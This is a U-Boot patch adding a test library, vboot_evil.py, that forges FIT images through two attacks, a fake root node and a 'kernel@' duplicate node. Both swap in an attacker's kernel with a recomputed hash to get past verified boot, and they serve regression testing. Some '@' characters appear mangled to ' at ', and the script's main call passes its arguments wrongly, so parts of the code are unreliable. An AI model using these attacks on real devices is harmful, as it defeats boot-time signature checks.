[PATCH 3/8] test: Add vboot_evil implementation

[Simon Glass <sjg@chromium.org>]

Add a library which performs two different attacks on a FIT.

Signed-off-by: Julien Lenoir <julien.lenoir@intel.com>
Signed-off-by: Bruce Monroe <bruce.monroe@intel.com>
Signed-off-by: Arie Haenel <arie.haenel@intel.com>
Signed-off-by: Simon Glass <sjg@chromium.org>
---

 test/py/tests/vboot_evil.py | 485 ++++++++++++++++++++++++++++++++++++
 1 file changed, 485 insertions(+)
 create mode 100644 test/py/tests/vboot_evil.py

diff --git a/test/py/tests/vboot_evil.py b/test/py/tests/vboot_evil.py
new file mode 100644
index 00000000000..9825c21716b
--- /dev/null
+++ b/test/py/tests/vboot_evil.py
@@ -0,0 +1,485 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2020, Intel Corporation
+
+"""Modifies a devicetree to add a fake root node, for testing purposes"""
+
+import hashlib
+import struct
+import sys
+
+FDT_PROP = 0x3
+FDT_BEGIN_NODE = 0x1
+FDT_END_NODE = 0x2
+FDT_END = 0x9
+
+FAKE_ROOT_ATTACK = 0
+KERNEL_AT = 1
+
+MAGIC = 0xd00dfeed
+
+EVIL_KERNEL_NAME = b'evil_kernel'
+FAKE_ROOT_NAME = b'f at keroot'
+
+
+def getstr(dt_strings, off):
+    """Get a string from the devicetree string table
+
+    Args:
+        dt_strings (bytes): Devicetree strings section
+        off (int): Offset of string to read
+
+    Returns:
+        str: String read from the table
+    """
+    output = ''
+    while dt_strings[off]:
+        output += chr(dt_strings[off])
+        off += 1
+
+    return output
+
+
+def align(offset):
+    """Align an offset to a multiple of 4
+
+    Args:
+        offset (int): Offset to align
+
+    Returns:
+        int: Resulting aligned offset (rounds up to nearest multiple)
+    """
+    return (offset + 3) & ~3
+
+
+def determine_offset(dt_struct, dt_strings, searched_node_name):
+    """Determines the offset of an element, either a node or a property
+
+    Args:
+        dt_struct (bytes): Devicetree struct section
+        dt_strings (bytes): Devicetree strings section
+        searched_node_name (str): element path, ex: /images/kernel at 1/data
+
+    Returns:
+        tuple: (node start offset, node end offset)
+        if element is not found, returns (None, None)
+    """
+    offset = 0
+    depth = -1
+
+    path = '/'
+
+    object_start_offset = None
+    object_end_offset = None
+    object_depth = None
+
+    while offset < len(dt_struct):
+        (tag,) = struct.unpack('>I', dt_struct[offset:offset + 4])
+
+        if tag == FDT_BEGIN_NODE:
+            depth += 1
+
+            begin_node_offset = offset
+            offset += 4
+
+            node_name = getstr(dt_struct, offset)
+            offset += len(node_name) + 1
+            offset = align(offset)
+
+            if path[-1] != '/':
+                path += '/'
+
+            path += str(node_name)
+
+            if path == searched_node_name:
+                object_start_offset = begin_node_offset
+                object_depth = depth
+
+        elif tag == FDT_PROP:
+            begin_prop_offset = offset
+
+            offset += 4
+            len_tag, nameoff = struct.unpack('>II',
+                                             dt_struct[offset:offset + 8])
+            offset += 8
+            prop_name = getstr(dt_strings, nameoff)
+
+            len_tag = align(len_tag)
+
+            offset += len_tag
+
+            node_path = path + '/' + str(prop_name)
+
+            if node_path == searched_node_name:
+                object_start_offset = begin_prop_offset
+
+        elif tag == FDT_END_NODE:
+            offset += 4
+
+            path = path[:path.rfind('/')]
+            if not path:
+                path = '/'
+
+            if depth == object_depth:
+                object_end_offset = offset
+                break
+            depth -= 1
+        elif tag == FDT_END:
+            break
+
+        else:
+            print('unknown tag=0x%x, offset=0x%x found!' % (tag, offset))
+            break
+
+    return object_start_offset, object_end_offset
+
+
+def modify_node_name(dt_struct, node_offset, replcd_name):
+    """Change the name of a node
+
+    Args:
+        dt_struct (bytes): Devicetree struct section
+        node_offset (int): Offset of node
+        replcd_name (str): New name for node
+
+    Returns:
+        bytes: New dt_struct contents
+    """
+
+    # skip 4 bytes for the FDT_BEGIN_NODE
+    node_offset += 4
+
+    node_name = getstr(dt_struct, node_offset)
+    node_name_len = len(node_name) + 1
+
+    node_name_len = align(node_name_len)
+
+    replcd_name += b'\0'
+
+    # align on 4 bytes
+    while len(replcd_name) % 4:
+        replcd_name += b'\0'
+
+    dt_struct = (dt_struct[:node_offset] + replcd_name +
+                 dt_struct[node_offset + node_name_len:])
+
+    return dt_struct
+
+
+def modify_prop_content(dt_struct, prop_offset, content):
+    """Overwrite the value of a property
+
+    Args:
+        dt_struct (bytes): Devicetree struct section
+        prop_offset (int): Offset of property (FDT_PROP tag)
+        content (bytes): New content for the property
+
+    Returns:
+        bytes: New dt_struct contents
+    """
+    # skip FDT_PROP
+    prop_offset += 4
+    (len_tag, nameoff) = struct.unpack('>II',
+                                       dt_struct[prop_offset:prop_offset + 8])
+
+    # compute padded original node length
+    original_node_len = len_tag + 8  # content length + prop meta data len
+
+    original_node_len = align(original_node_len)
+
+    added_data = struct.pack('>II', len(content), nameoff)
+    added_data += content
+    while len(added_data) % 4:
+        added_data += b'\0'
+
+    dt_struct = (dt_struct[:prop_offset] + added_data +
+                 dt_struct[prop_offset + original_node_len:])
+
+    return dt_struct
+
+
+def change_property_value(dt_struct, dt_strings, prop_path, prop_value,
+                          required=True):
+    """Change a given property value
+
+    Args:
+        dt_struct (bytes): Devicetree struct section
+        dt_strings (bytes): Devicetree strings section
+        prop_path (str): full path of the target property
+        prop_value (bytes):  new property name
+        required (bool): raise an exception if property not found
+
+    Returns:
+        bytes: New dt_struct contents
+
+    Raises:
+        ValueError: if the property is not found
+    """
+    (rt_node_start, _) = determine_offset(dt_struct, dt_strings, prop_path)
+    if rt_node_start is None:
+        if not required:
+            return dt_struct
+        raise ValueError('Fatal error, unable to find prop %s' % prop_path)
+
+    dt_struct = modify_prop_content(dt_struct, rt_node_start, prop_value)
+
+    return dt_struct
+
+def change_node_name(dt_struct, dt_strings, node_path, node_name):
+    """Change a given node name
+
+    Args:
+        dt_struct (bytes): Devicetree struct section
+        dt_strings (bytes): Devicetree strings section
+        node_path (str): full path of the target node
+        node_name (str): new node name, just node name not full path
+
+    Returns:
+        bytes: New dt_struct contents
+
+    Raises:
+        ValueError: if the node is not found
+    """
+    (rt_node_start, rt_node_end) = (
+        determine_offset(dt_struct, dt_strings, node_path))
+    if rt_node_start is None or rt_node_end is None:
+        raise ValueError('Fatal error, unable to find root node')
+
+    dt_struct = modify_node_name(dt_struct, rt_node_start, node_name)
+
+    return dt_struct
+
+def get_prop_value(dt_struct, dt_strings, prop_path):
+    """Get the content of a property based on its path
+
+    Args:
+        dt_struct (bytes): Devicetree struct section
+        dt_strings (bytes): Devicetree strings section
+        prop_path (str): full path of the target property
+
+    Returns:
+        bytes: Property value
+
+    Raises:
+        ValueError: if the property is not found
+    """
+    (offset, _) = determine_offset(dt_struct, dt_strings, prop_path)
+    if offset is None:
+        raise ValueError('Fatal error, unable to find prop')
+
+    offset += 4
+    (len_tag,) = struct.unpack('>I', dt_struct[offset:offset + 4])
+
+    offset += 8
+    tag_data = dt_struct[offset:offset + len_tag]
+
+    return tag_data
+
+
+def kernel_at_attack(dt_struct, dt_strings, kernel_content, kernel_hash):
+    """Conduct the kernel@ attack
+
+    It fetches from /configurations/default the name of the kernel being loaded.
+    Then, if the kernel name does not contain any @sign, duplicates the kernel
+    in /images node and appends '@evil' to its name.
+    It inserts a new kernel content and updates its images digest.
+
+    Inputs:
+        - FIT dt_struct
+        - FIT dt_strings
+        - kernel content blob
+        - kernel hash blob
+
+    Important note: it assumes the U-Boot loading method is 'kernel' and the
+    loaded kernel hash's subnode name is 'hash-1'
+    """
+
+    # retrieve the default configuration name
+    default_conf_name = get_prop_value(
+        dt_struct, dt_strings, '/configurations/default')
+    default_conf_name = str(default_conf_name[:-1], 'utf-8')
+
+    conf_path = '/configurations/' + default_conf_name
+
+    # fetch the loaded kernel name from the default configuration
+    loaded_kernel = get_prop_value(dt_struct, dt_strings, conf_path + '/kernel')
+
+    loaded_kernel = str(loaded_kernel[:-1], 'utf-8')
+
+    if loaded_kernel.find('@') != -1:
+        print('kernel@ attack does not work on nodes already containing an @ sign!')
+        sys.exit()
+
+    # determine boundaries of the loaded kernel
+    (krn_node_start, krn_node_end) = (determine_offset(
+        dt_struct, dt_strings, '/images/' + loaded_kernel))
+    if krn_node_start is None and krn_node_end is None:
+        print('Fatal error, unable to find root node')
+        sys.exit()
+
+    # copy the loaded kernel
+    loaded_kernel_copy = dt_struct[krn_node_start:krn_node_end]
+
+    # insert the copy inside the tree
+    dt_struct = dt_struct[:krn_node_start] + \
+        loaded_kernel_copy + dt_struct[krn_node_start:]
+
+    evil_kernel_name = loaded_kernel+'@evil'
+
+    # change the inserted kernel name
+    dt_struct = change_node_name(
+        dt_struct, dt_strings, '/images/' + loaded_kernel, bytes(evil_kernel_name, 'utf-8'))
+
+    # change the content of the kernel being loaded
+    dt_struct = change_property_value(
+        dt_struct, dt_strings, '/images/' + evil_kernel_name + '/data', kernel_content)
+
+    # change the content of the kernel being loaded
+    dt_struct = change_property_value(
+        dt_struct, dt_strings, '/images/' + evil_kernel_name + '/hash-1/value', kernel_hash)
+
+    return dt_struct
+
+
+def fake_root_node_attack(dt_struct, dt_strings, kernel_content, kernel_digest):
+    """Conduct the fakenode attack
+
+    It duplicates the original root node at the beginning of the tree.
+    Then it modifies within this duplicated tree:
+        - The loaded kernel name
+        - The loaded  kernel data
+
+    Important note: it assumes the UBoot loading method is 'kernel' and the loaded kernel
+    hash's subnode name is hash at 1
+    """
+
+    # retrieve the default configuration name
+    default_conf_name = get_prop_value(
+        dt_struct, dt_strings, '/configurations/default')
+    default_conf_name = str(default_conf_name[:-1], 'utf-8')
+
+    conf_path = '/configurations/'+default_conf_name
+
+    # fetch the loaded kernel name from the default configuration
+    loaded_kernel = get_prop_value(dt_struct, dt_strings, conf_path + '/kernel')
+
+    loaded_kernel = str(loaded_kernel[:-1], 'utf-8')
+
+    # determine root node start and end:
+    (rt_node_start, rt_node_end) = (determine_offset(dt_struct, dt_strings, '/'))
+    if (rt_node_start is None) or (rt_node_end is None):
+        print('Fatal error, unable to find root node')
+        sys.exit()
+
+    # duplicate the whole tree
+    duplicated_node = dt_struct[rt_node_start:rt_node_end]
+
+    # dchange root name (empty name) to fake root name
+    new_dup = change_node_name(duplicated_node, dt_strings, '/', FAKE_ROOT_NAME)
+
+    dt_struct = new_dup + dt_struct
+
+    # change the value of /<fake_root_name>/configs/<default_config_name>/kernel
+    # so our modified kernel will be loaded
+    base = '/' + str(FAKE_ROOT_NAME, 'utf-8')
+    value_path = base + conf_path+'/kernel'
+    dt_struct = change_property_value(dt_struct, dt_strings, value_path,
+                                      EVIL_KERNEL_NAME + b'\0')
+
+    # change the node of the /<fake_root_name>/images/<original_kernel_name>
+    images_path = base + '/images/'
+    node_path = images_path + loaded_kernel
+    dt_struct = change_node_name(dt_struct, dt_strings, node_path,
+                                 EVIL_KERNEL_NAME)
+
+    # change the content of the kernel being loaded
+    data_path = images_path + str(EVIL_KERNEL_NAME, 'utf-8') + '/data'
+    dt_struct = change_property_value(dt_struct, dt_strings, data_path,
+                                      kernel_content, required=False)
+
+    # update the digest value
+    hash_path = images_path + str(EVIL_KERNEL_NAME, 'utf-8') + '/hash-1/value'
+    dt_struct = change_property_value(dt_struct, dt_strings, hash_path,
+                                      kernel_digest)
+
+    return dt_struct
+
+def add_evil_node(in_fname, out_fname, kernel_fname, attack):
+    """Add an evil node to the devicetree
+
+    Args:
+        in_fname (str): Filename of input devicetree
+        out_fname (str): Filename to write modified devicetree to
+        kernel_fname (str): Filename of kernel data to add to evil node
+        attack (str): Attack type ('fakeroot' or 'kernel@')
+
+    Raises:
+        ValueError: Unknown attack name
+    """
+    if attack == 'fakeroot':
+        attack = FAKE_ROOT_ATTACK
+    elif attack == 'kernel@':
+        attack = KERNEL_AT
+    else:
+        raise ValueError('Unknown attack name!')
+
+    with open(in_fname, 'rb') as fin:
+        input_data = fin.read()
+
+    hdr = input_data[0:0x28]
+
+    offset = 0
+    magic = struct.unpack('>I', hdr[offset:offset + 4])[0]
+    if magic != MAGIC:
+        raise ValueError('Wrong magic!')
+
+    offset += 4
+    (totalsize, off_dt_struct, off_dt_strings, off_mem_rsvmap, version,
+     last_comp_version, boot_cpuid_phys, size_dt_strings,
+     size_dt_struct) = struct.unpack('>IIIIIIIII', hdr[offset:offset + 36])
+
+    rsv_map = input_data[off_mem_rsvmap:off_dt_struct]
+    dt_struct = input_data[off_dt_struct:off_dt_struct + size_dt_struct]
+    dt_strings = input_data[off_dt_strings:off_dt_strings + size_dt_strings]
+
+    with open(kernel_fname, 'rb') as kernel_file:
+        kernel_content = kernel_file.read()
+
+    # computing inserted kernel hash
+    val = hashlib.sha1()
+    val.update(kernel_content)
+    hash_digest = val.digest()
+
+    if attack == FAKE_ROOT_ATTACK:
+        dt_struct = fake_root_node_attack(dt_struct, dt_strings, kernel_content,
+                                          hash_digest)
+    elif attack == KERNEL_AT:
+        dt_struct = kernel_at_attack(dt_struct, dt_strings, kernel_content,
+                                     hash_digest)
+
+    # now rebuild the new file
+    size_dt_strings = len(dt_strings)
+    size_dt_struct = len(dt_struct)
+    totalsize = 0x28 + len(rsv_map) + size_dt_struct + size_dt_strings
+    off_mem_rsvmap = 0x28
+    off_dt_struct = off_mem_rsvmap + len(rsv_map)
+    off_dt_strings = off_dt_struct + len(dt_struct)
+
+    header = struct.pack('>IIIIIIIIII', MAGIC, totalsize, off_dt_struct,
+                         off_dt_strings, off_mem_rsvmap, version,
+                         last_comp_version, boot_cpuid_phys, size_dt_strings,
+                         size_dt_struct)
+
+    with open(out_fname, 'wb') as output_file:
+        output_file.write(header)
+        output_file.write(rsv_map)
+        output_file.write(dt_struct)
+        output_file.write(dt_strings)
+
+if __name__ == '__main__':
+    if len(sys.argv) != 5:
+        print('usage: %s <input_filename> <output_filename> <kernel_binary> <attack_name>' %
+              sys.argv[0])
+        print('valid attack names: [fakeroot, kernel@]')
+        sys.exit(1)
+
+    add_evil_node(sys.argv[1:])
-- 
2.30.0.478.g8a0d178c01-goog